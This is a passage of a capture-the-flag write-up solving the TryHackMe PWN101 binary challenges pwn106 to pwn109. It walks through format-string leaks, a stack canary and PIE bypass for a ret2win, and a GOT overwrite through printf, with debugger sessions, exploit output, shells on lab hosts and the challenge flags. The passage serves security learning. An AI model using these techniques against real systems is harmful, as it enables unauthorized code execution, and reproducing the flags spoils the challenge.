[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25803)
[+] Starting local process './pwn106user.pwn106-user': pid 25805
6: b'0x5b5858587b4d4854\n'
b'THM{XXX['
[*] Stopped process './pwn106user.pwn106-user' (pid 25805)
[+] Starting local process './pwn106user.pwn106-user': pid 25807
7: b'0x6465725f67616c66\n'
b'flag_red'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25807)
[+] Starting local process './pwn106user.pwn106-user': pid 25809
8: b'0x58585d6465746361\n'
b'acted]XX'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25809)
[+] Starting local process './pwn106user.pwn106-user': pid 25811
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25811)
[[------------------------------SNIP---------------------------------------]
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25991)
97: b'0x7fffec3d5883\n'
b'\x83X=\xec\xff\x7f'
[+] Starting local process './pwn106user.pwn106-user': pid 25993
98: b'0x7fffc604788e\n'
b'\x8ex\x04\xc6\xff\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25993)
[+] Starting local process './pwn106user.pwn106-user': pid 25995
99: b'0x7ffe5bbf38d1\n'
b'\xd18\xbf[\xfe\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25995)
[*] THM{XXX[flag_redacted]XXX}%10$p
\x10 Ijx\x7f@ะฑD
\x00\x00 \x7f8
We see that the flag is redacted THM{XXX[flag_redacted]XXX}
Now iโll run it on the remote server
โโ$ python3 exploit.py REMOTE 10.10.146.62 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
0: b'%0$p\n'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
1: b'0x7ffd059b56e0\n'
b'\xe0V\x9b\x05\xfd\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
2: b'0x7eff44e608c0\n'
b'\xc0\x08\xe6D\xff~'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
4: b'0x8\n'
b'\x08'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
5: b'0x7f0717fb94c0\n'
b'\xc0\x94\xfb\x17\x07\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
6: b'0x5f5530797b4d4854\n'
b'THM{y0U_'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
7: b'0x5f3368745f6e3077\n'
b'w0n_th3_'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
8: b'0x5961774133766947\n'
b'Giv3AwaY'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
9: b'0x3168745f446e615f\n'
b'_anD_th1'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
10: b'0x756f595f73315f73\n'
b's_1s_You'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
[[-----------------------SNIP--------------------------]
[+] Opening connection to 10.10.146.62 on port 9006: Done
006: Done
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
97: b'0x19\n'
b'\x19'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
98: b'0x7ffdf94d5eb9\n'
b'\xb9^M\xf9\xfd\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
99: b'0x1a\n'
b'\x1a'
[*] Closed connection to 10.10.146.62 port 9006
[*]THM{y0U_w0n_th3_Giv3AwaY_anD_th1s_1s_YouR_fl4G}%12$p
Challenge 7 = PWN107
Basic File Checks
โโ$ file pwn107.pwn107
pwn107.pwn107: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0579b2a29d47165653fbb791fb528c59e951a1a0, not stripped
โโ$ checksec pwn107.pwn107
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Weโre working with a x64 binary which has all protections enabled
Iโll run it to know what it does
โโ$ ./pwn107.pwn107
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 107
You are a good THM player ๐
But yesterday you lost your streak ๐
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? 271
Thanks, Happy hacking!!
Your current streak: 271
[Few days latter.... a notification pops up]
Hi pwner ๐พ, keep hacking๐ฉ๐ป - We miss you!๐ข
lol
From this we know that we have two options where it reads our input
Iโll decompile the binary using ghidra
Hereโs the decompiled main function
void main(void)
{
long in_FS_OFFSET;
char streak [32];
undefined input [24];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts(&DAT_00100c68);
puts(&DAT_00100c88);
puts("You mailed about this to THM, and they responsed back with some questions");
puts("Answer those questions and get your streak back\n");
printf("THM: What\'s your last streak? ");
read(0,streak,0x14);
printf("Thanks, Happy hacking!!\nYour current streak: ");
printf(streak);
puts("\n\n[Few days latter.... a notification pops up]\n");
puts(&DAT_00100db8);
read(0,input,0x200);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
From this we know that:
1. It recieves our input using read and stores in steak buffer
2. It prints the value stored in streak
3. It recieves our input used read and stores in input buffer
4. It exits (ret)
Looking at the code there are two potential vulnerability
1. Format string vulnerability printf(streak);
2. Buffer overflow read(0,input,0x200);
Since the printf prints the content of the value stored in streak and doesnโt specify a format to be used we can leak address off the stack
Also the input buffer can only hold up to 24 bytes of data but weโre allowed to write 0x200 bytes leading to a buffer overflow
Thereโs also another function get_streak() which gives us a shell
void get_streak(void)
{
long in_FS_OFFSET;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
puts("This your last streak back, don\'t do this mistake again");
system("/bin/sh");
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
With this we know that we can overflow the buffer and overwrite rip to call get_streak(), but this binary has mitigations enabled
โโ$ checksec pwn107.pwn107
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hereโs what each does
1. RELRO: Prevents GOT overwrite
2. Stack: Prevents stack overflow
3. NX: Prevents shellcode injection to the stack and execution
4. PIE: Randomize address
So hereโs the methodology iโll follow to pwn this binary
1. Get piebase address
2. Leak stack canary address
3. Perform Ret2Win
Because PIE is enabled the addresses will be randomize
So iโll need to leak it to get the offset of the addresses
To leak piebase address iโll fuzz for values on the stack which has a constant values
But before i do that iโll need to disable ASLR ( Address Space Layout Randomization )
because it works with PIE
to randomize addresses
โโ$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for mark:
0
Hereโs the solve script FUZZ
Eventually i got an address which doesnโt change when the program runs each time and its the 17th element of the stack
โโ$ python3 fuzz.py
17: b'0x555555400992\n'
โโโ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn107]
โโ$ python3 fuzz.py
17: b'0x555555400992\n'
Now iโll need to calculate the piebase address and iโll use gdb-pwndgb for it
โโ$ gdb-pwndbg -q pwn107.pwn107
Reading symbols from pwn107.pwn107...
(No debugging symbols found in pwn107.pwn107)
pwndbg: loaded 138 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
The set show-flags on setting will display CPU flags register in the regs context panel
pwndbg> break main
Breakpoint 1 at 0x996
pwndbg> r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000555555400996 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโ
*RAX 0x555555400992 (main) โโ push rbp
*RBX 0x7fffffffdfb8 โโธ 0x7fffffffe306 โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*RCX 0x7ffff7f9b820 (__exit_funcs) โโธ 0x7ffff7f9d2e0 (initial) โโ 0x0
*RDX 0x7fffffffdfc8 โโธ 0x7fffffffe33d โโ 0x5245545f5353454c ('LESS_TER')
*RDI 0x1
*RSI 0x7fffffffdfb8 โโธ 0x7fffffffe306 โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*R8 0x555555400b00 (__libc_csu_fini) โโ ret
*R9 0x7ffff7fcf6a0 (_dl_fini) โโ push rbp
*R10 0x7ffff7fcb878 โโ 0xc00120000000e
*R11 0x7ffff7fe18c0 (_dl_audit_preinit) โโ mov eax, dword ptr [rip + 0x1b552]
R12 0x0
*R13 0x7fffffffdfc8 โโธ 0x7fffffffe33d โโ 0x5245545f5353454c ('LESS_TER')
R14 0x0
*R15 0x7ffff7ffd020 (_rtld_global) โโธ 0x7ffff7ffe2e0 โโธ 0x555555400000 โโ jg 0x555555400047
*RBP 0x7fffffffdea0 โโ 0x1
*RSP 0x7fffffffdea0 โโ 0x1
*RIP 0x555555400996 (main+4) โโ sub rsp, 0x40
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0x555555400996 <main+4> sub rsp, 0x40
0x55555540099a <main+8> mov rax, qword ptr fs:[0x28]
0x5555554009a3 <main+17> mov qword ptr [rbp - 8], rax
0x5555554009a7 <main+21> xor eax, eax
0x5555554009a9 <main+23> mov eax, 0
0x5555554009ae <main+28> call setup <setup>
0x5555554009b3 <main+33> mov eax, 0
0x5555554009b8 <main+38> call banner <banner>
0x5555554009bd <main+43> lea rdi, [rip + 0x2a4]
0x5555554009c4 <main+50> call puts@plt <puts@plt>
0x5555554009c9 <main+55> lea rdi, [rip + 0x2b8]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rbp rsp 0x7fffffffdea0 โโ 0x1
01:0008โ 0x7fffffffdea8 โโธ 0x7ffff7df018a (__libc_start_call_main+122) โโ mov edi, eax
02:0010โ 0x7fffffffdeb0 โโธ 0x7fffffffdfa0 โโธ 0x7fffffffdfa8 โโ 0x38 /* '8' */
03:0018โ 0x7fffffffdeb8 โโธ 0x555555400992 (main) โโ push rbp
04:0020โ 0x7fffffffdec0 โโ 0x155400040 /* '@' */
05:0028โ 0x7fffffffdec8 โโธ 0x7fffffffdfb8 โโธ 0x7fffffffe306 โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
06:0030โ 0x7fffffffded0 โโธ 0x7fffffffdfb8 โโธ 0x7fffffffe306 โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
07:0038โ 0x7fffffffded8 โโ 0x521dd9f736185b23
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ f 0 0x555555400996 main+4
f 1 0x7ffff7df018a __libc_start_call_main+122
f 2 0x7ffff7df0245 __libc_start_main+133
f 3 0x5555554007aa _start+42
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pwndbg> piebase
Calculated VA from /home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107 = 0x555555400000
pwndbg>
Iโll set a breakpoint after the leaked address (read call)
0x0000000000000a69 <+215>: call 0x750 <read@plt>
pwndbg> breakrva 0xa69
Breakpoint 2 at 0x555555400a69
pwndbg> c
Continuing.
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 107
You are a good THM player ๐
But yesterday you lost your streak ๐
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? lol
Thanks, Happy hacking!!
Your current streak: lol
[Few days latter.... a notification pops up]
Hi pwner ๐พ, keep hacking๐ฉ๐ป - We miss you!๐ข
Breakpoint 2, 0x0000555555400a69 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโ
*RAX 0x0
RBX 0x7fffffffdfb8 โโธ 0x7fffffffe306 โโ '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*RCX 0x7ffff7ec1190 (write+16) โโ cmp rax, -0x1000 /* 'H=' */
*RDX 0x200
*RDI 0x0
*RSI 0x7fffffffde80 โโ 0x0
R8 0x555555400b00 (__libc_csu_fini) โโ ret
R9 0x7ffff7fcf6a0 (_dl_fini) โโ push rbp
R10 0x7ffff7fcb878 โโ 0xc00120000000e
*R11 0x202
R12 0x0
R13 0x7fffffffdfc8 โโธ 0x7fffffffe33d โโ 0x5245545f5353454c ('LESS_TER')
R14 0x0
R15 0x7ffff7ffd020 (_rtld_global) โโธ 0x7ffff7ffe2e0 โโธ 0x555555400000 โโ jg 0x555555400047
RBP 0x7fffffffdea0 โโ 0x1
*RSP 0x7fffffffde60 โโ 0xa6c6f6c /* 'lol\n' */
*RIP 0x555555400a69 (main+215) โโ call 0x555555400750
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0x555555400a69 <main+215> call read@plt <read@plt>
fd: 0x0 (/dev/pts/2)
buf: 0x7fffffffde80 โโ 0x0
nbytes: 0x200
0x555555400a6e <main+220> nop
0x555555400a6f <main+221> mov rax, qword ptr [rbp - 8]
0x555555400a73 <main+225> xor rax, qword ptr fs:[0x28]
0x555555400a7c <main+234> je main+241 <main+241>
0x555555400a7e <main+236> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x555555400a83 <main+241> leave
0x555555400a84 <main+242> ret
0x555555400a85 nop word ptr cs:[rax + rax]
0x555555400a8f nop
0x555555400a90 <__libc_csu_init> push r15
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rsp 0x7fffffffde60 โโ 0xa6c6f6c /* 'lol\n' */
01:0008โ 0x7fffffffde68 โโ 0x0
... โ 3 skipped
05:0028โ 0x7fffffffde88 โโธ 0x7ffff7fe6e10 (dl_main) โโ push rbp
06:0030โ 0x7fffffffde90 โโ 0x0
07:0038โ 0x7fffffffde98 โโ 0xde96d2eee6ebeb00
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ f 0 0x555555400a69 main+215
f 1 0x7ffff7df018a __libc_start_call_main+122
f 2 0x7ffff7df0245 __libc_start_main+133
f 3 0x5555554007aa _start+42
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pwndbg>
With this iโll get the value of what the leaked address is
pwndbg> x 0x555555400992
0x555555400992 <main>: 0xe5894855
pwndbg> x 0x555555400992 - 0x555555400000
0x992: Cannot access memory at address 0x992
pwndbg>
So with this we know that the offset of the piebase address is 0x992
Next thing is to leak the stack canary address
And stack canary address ends with 00
making it not difficult to be known
Using the fuzzing script iโll get the offset where the stack canary is
But i already got it to know that its at offset 13
โโ$ python3 fuzz.py
13: b'0xd6b190b256ee5f00\n'
From here Iโll make a script which will do this:
1. Use format string vuln to leak the pie & canary address
2. Strip out those addresss
3. Overflow rip to call the shel func
4. Make sure to overflow the canary to its value
Hereโs the local solve script Local_exploit
Running it locally works
โโ$ python3 exploit.py
[+] Starting local process './pwn107.pwn107': pid 180823
[*] Canary address: 0xdf4535f29136bb00
[*] Leaked Pie address: 0x555555400992
[*] Piebase address: 0x555555400000
[*] Switching to interactive mode
[Few days latter.... a notification pops up]
Hi pwner ๐พ, keep hacking๐ฉ๐ป - We miss you!๐ข
This your last streak back, don't do this mistake again
$ ls -al
total 36
drwxr-xr-x 2 mark mark 4096 Feb 17 13:17 .
drwxr-xr-x 10 mark mark 4096 Feb 16 17:27 ..
-rw-r--r-- 1 mark mark 1700 Feb 17 13:16 exploit.py
-rw-r--r-- 1 mark mark 1403 Feb 17 03:13 fuzz.py
-rw------- 1 mark mark 453 Feb 16 17:33 .gdb_history
-rwxr-xr-x 1 mark mark 12848 Feb 15 22:17 pwn107.pwn107
$
But if we run it on the remote server it will fail the reason is because the remote pie base offset is different
So iโll need to fuzz for the value of the remote server pie address that wonโt change on each process or the last offset are the same.
Using the fuzzing script i fuzzed for values on the remote server and the offset 18 seemed to work fine
โโ$ python3 fuzz.py REMOTE 10.10.253.82 9007
19: b'0x55c3b7697992\n'
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn107]
โโ$ python3 fuzz.py REMOTE 10.10.253.82 9007
19: b'0x55be79219992\n'
So iโll add that to my exploit script i.e offset 19
Solve script available here Exploit
โโ$ python3 exploit.py REMOTE 10.10.253.82 9007
[+] Opening connection to 10.10.253.82 on port 9007: Done
[*] Canary address: 0x6a75b56d2d5f0400
[*] Leaked Pie address: 0x55b4b919c992
[*] Piebase address: 0x55b4b919c000
[*] Switching to interactive mode
[Few days latter.... a notification pops up]
Hi pwner ๐พ, keep hacking๐ฉ๐ป - We miss you!๐ข
This your last streak back, don't do this mistake again
$ ls -al
total 48
drwx------ 3 pwn107 pwn107 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn107 pwn107 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn107 pwn107 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn107 pwn107 3771 Apr 4 2018 .bashrc
drwxrwxr-x 3 pwn107 pwn107 4096 Feb 8 2022 .local
-rw-r--r-- 1 pwn107 pwn107 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn107 pwn107 42 Jan 28 2022 flag.txt
-rwxrwxr-x 1 pwn107 pwn107 12848 Feb 8 2022 pwn107
-rwxrwxrwx 1 pwn107 pwn107 1266 Feb 8 2022 pwn107.c
$ cat flag.txt
THM{whY_i_us3d_pr1ntF()_w1thoUt_fmting??}
$
Challenge 8 = PWN108
Basic File Checks
โโ$ file pwn108.pwn108
pwn108.pwn108: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1c32d1f20d6d8017146d21dfcfc4da79a8762d8, for GNU/Linux 3.2.0, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn108]
โโ$ checksec pwn108.pwn108
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn108/pwn108.pwn108'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
From this we know that weโre working with a x64 binary and the protections enabled are just Stack Canary and NX
Iโll run it to know what it does
โโ$ ./pwn108.pwn108
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 108
THM University ๐
๐จ๐ Student login portal ๐ฉ๐
=[Your name]: pwner
=[Your Reg No]: 1
=[ STUDENT PROFILE ]=
Name : pwner
Register no : 1
Institue : THM
Branch : B.E (Binary Exploitation)
=[ EXAM SCHEDULE ]=
--------------------------------------------------------
| Date | Exam | FN/AN |
|--------------------------------------------------------
| 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN |
|--------------------------------------------------------
| 3/2/2022 | DATA STRUCTURES | FN |
|--------------------------------------------------------
| 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN |
|--------------------------------------------------------
| 7/2/2022 | SCRIPTING WITH PYTHON | FN |
--------------------------------------------------------
We see that after it prints the banner it then recieves our input and prints our input
Using ghidra iโll decompile the binary
Hereโs the main function
void main(void)
{
long in_FS_OFFSET;
undefined name [32];
char input [104];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts(&DAT_00402177);
puts(&DAT_00402198);
printf("\n=[Your name]: ");
read(0,name,0x12);
printf("=[Your Reg No]: ");
read(0,input,100);
puts("\n=[ STUDENT PROFILE ]=");
printf("Name : %s",name);
printf("Register no : ");
printf(input);
printf("Institue : THM");
puts("\nBranch : B.E (Binary Exploitation)\n");
puts(
"\n =[ EXAM SCHEDULE ]= \n ------------------------------- -------------------------\n| Date | Exam | FN/AN |\n|------ --------------------------------------------------\n| 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN |\n|--------------------------------------------------------\n| 3/2/2022 | DA TA STRUCTURES | FN |\n|-------------------------------------------------- ------\n| 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN |\n|------------------------- -------------------------------\n| 7/2/2022 | SCRIPTING WITH PYTHON | FN |\n --------------------------------------------------------"
);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Hereโs what it does
1. After it prints the banner it recieves our name using read which is then stored in the name buffer
2. It then receives reg number which is stored in input buffer
3. After that is done it prints out the content of the value in name and input
Looking at the code we see that the vulnerability is that after it receives the second input it prints the value out without specifying a format to be used
Therefore is a format string vulnerability
The program has another function called holidays()
void holidays(void)
{
long in_FS_OFFSET;
undefined4 local_16;
undefined2 local_12;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_16 = 0x6d617865;
local_12 = 0x73;
printf(&DAT_00402120,&local_16);
system("/bin/sh");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
And from that it will give a bash shell
With this information we have we know that the aim is to call the holiday function but thereโs no buffer overflow present in this program
What we can leverage is a GOT overwrite because we know that RELRO is partial meaning we can overwrite address in GOT using the format string vulnerability
โโ$ checksec pwn108.pwn108
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn108/pwn108.pwn108'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
To exploit this iโll need to get the address our input is stored on the stack
I use a script to fuzz the values to get the offset
Fuzz script available here Fuzz
Running it shows that the offset is 10 cause thats where AAAA is which is in hex 0x41414141
-โ$ python3 fuzz.py
1: b'AAAA0x7ffdd688e1f0\n'
2: b'AAAA(nil)\n'
3: b'AAAA(nil)\n'
4: b'AAAA0x401450\n'
5: b'AAAA0x73\n'
6: b'AAAA0xa72656e7750\n'
7: b'AAAA(nil)\n'
8: b'AAAA(nil)\n'
9: b'AAAA(nil)\n'
10: b'AAAA0x2430312541414141\n'
11: b'AAAA0xa70\n'
12: b'AAAA0x40\n'
13: b'AAAA(nil)\n'
14: b'AAAA(nil)\n'
15: b'AAAA(nil)\n'
16: b'AAAA(nil)\n'
17: b'AAAA(nil)\n'
18: b'AAAA(nil)\n'
19: b'AAAA(nil)\n'
With this what iโll do is to find a function thats in put to overwrite
Looking at the decompiled code we can leverage the puts() calls since it doesnโt really do anything
void main(void)
{
long in_FS_OFFSET;
undefined name [32];
char input [104];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts(&DAT_00402177);
puts(&DAT_00402198);
printf("\n=[Your name]: ");
read(0,name,0x12);
printf("=[Your Reg No]: ");
read(0,input,100);
puts("\n=[ STUDENT PROFILE ]=");
printf("Name : %s",name);
printf("Register no : ");
printf(input);
printf("Institue : THM");
puts("\nBranch : B.E (Binary Exploitation)\n");
puts(
"\n =[ EXAM SCHEDULE ]= \n ------------------------------- -------------------------\n| Date | Exam | FN/AN |\n|------ --------------------------------------------------\n| 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN |\n|--------------------------------------------------------\n| 3/2/2022 | DA TA STRUCTURES | FN |\n|-------------------------------------------------- ------\n| 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN |\n|------------------------- -------------------------------\n| 7/2/2022 | SCRIPTING WITH PYTHON | FN |\n --------------------------------------------------------"
);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Hereโs the solve script Exploit
Running it locally works
โโ$ python3 exploit.py
[+] Starting local process './pwn108.pwn108': pid 12325
[*] Format string offset 0xa
[*] Address to overwrite (elf.got.puts): 0x404018
[*] Address to write func() shell: 0x40123b
[*] Switching to interactive mode
=[ STUDENT PROFILE ]=
Name : Pwner
Register no : \xa0 \x00 \x00aaabaa\x18@Institue : THM
No more exams for you enjoy your holidays ๐
And here is a small gift for you
$ ls -al
total 36
drwxr-xr-x 2 mark mark 4096 Feb 16 19:10 .
drwxr-xr-x 10 mark mark 4096 Feb 16 17:27 ..
-rw-r--r-- 1 mark mark 1299 Feb 16 19:10 exploit.py
-rw-r--r-- 1 mark mark 1495 Feb 16 19:00 fuzz.py
-rwx--x--x 1 mark mark 16432 Feb 16 17:27 pwn108.pwn108
$
Now iโll run it on the remote server
โโ$ python3 exploit.py REMOTE 10.10.29.239 9008
[+] Opening connection to 10.10.29.239 on port 9008: Done
[*] Format string offset 0xa
[*] Address to overwrite (elf.got.puts): 0x404018
[*] Address to write func() shell: 0x40123b
[*] Switching to interactive mode
=[ STUDENT PROFILE ]=
Name : Pwner
Register no : \xa0 \xc0 \x00aaabaa\x18@Institue : THM
No more exams for you enjoy your holidays ๐
And here is a small gift for you
$ ls -al
total 48
drwx------ 2 pwn108 pwn108 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn108 pwn108 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn108 pwn108 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn108 pwn108 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 pwn108 pwn108 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn108 pwn108 26 Jan 28 2022 flag.txt
-rwxrwxrwx 1 pwn108 pwn108 16432 Jan 28 2022 pwn108
-rwxrwxrwx 1 pwn108 pwn108 1986 Jan 28 2022 pwn108.c
$ cat flag.txt
THM{7urN3d_puts_in70_win}
$
Challenge 9 = PWN109
Basic File Checks
โโ$ file pwn109.pwn109
pwn109.pwn109: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a64987fd8eb1e96bd9178b4453cd80e78cbe0bb, for GNU/Linux 3.2.0, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn109]
โโ$ checksec pwn109.pwn109
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Weโre working with a x64 binary which is dynamically linked and not stripped
From the protection we see that only NX is enabled
Iโll run it to know what it does
โโ$ ./pwn109.pwn109
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 109
This time no ๐ ๐คซ & ๐๐ฉ.๐ Go ahead ๐
lol
It just takes in our input and exits
Using ghidra iโll decompile the binary
Hereโs the decompiled main function
void main(void)
{
char local_28 [32];
setup();
banner();
puts(&DAT_00402120);
gets(local_28);
return;
}
From the code it just prints the banner out then use gets() to receive our input
We know that the usage of get() in a program is going to be vulnerable to buffer overflow
From the previous challenges there were function which gave us shell but this time around no function and also since NX is enabled we canโt do shellcode injection
Now since this binary is dynamically linked it will get its function name from our libc library
Searching the got.plt
section on ghidra we get all calls the binary makes from the GOT (Global Offset Table)
//
